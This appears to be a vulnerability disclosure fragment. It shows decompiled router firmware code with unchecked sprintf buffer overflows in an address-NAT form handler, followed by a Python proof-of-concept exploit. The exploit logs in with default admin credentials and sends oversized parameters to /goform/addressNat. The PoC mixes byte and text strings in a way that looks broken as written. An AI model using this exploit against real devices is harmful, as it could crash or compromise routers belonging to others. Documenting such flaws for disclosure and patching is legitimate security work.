

```
int iVar1;
  char acStack1052 [256];
  char acStack796 [512];
  char acStack284 [256];
  undefined4 local 1c;
  undefined4 local_18;
  undefined4 local_14;
  memset(acStack1052,0,0x100);
  local_14 = FUN_0002ba8c(param_1,"entrys",&DAT_000e5d48);
  local_18 = FUN_0002ba8c(param_1, "mitInterface", &DAT_000e5d48);
  sprintf(acStack796,"%s;%s",local_14,local_18); // overflow here
  FUN_0004ec58("adv.addrnat",acStack796,0x7e);
  local_1c = FUN_0002ba8c(param_1, "page", &DAT_000e5f4c);
  sprintf(acStack284,"advance/addressNatList.asp?page=%s",local_1c); //overflow her
  iVar1 = CommitCfm();
 if (iVar1 != 0) {
   sprintf(acStack1052, "advance type=%d",7);
   send_msg_to_netctrl(5,acStack1052);
 FUN_0002be4c(param_1,acStack284);
 return;
}
```

* POC

```
import requests

cmd = b'entrys=' + b'A' * 400 + '&mitInterface='
cmd += b'A'* 0x400 + '&page=' + 'A' * 200

url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/addressNat/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
```

```
print(resp.content)
attack()
```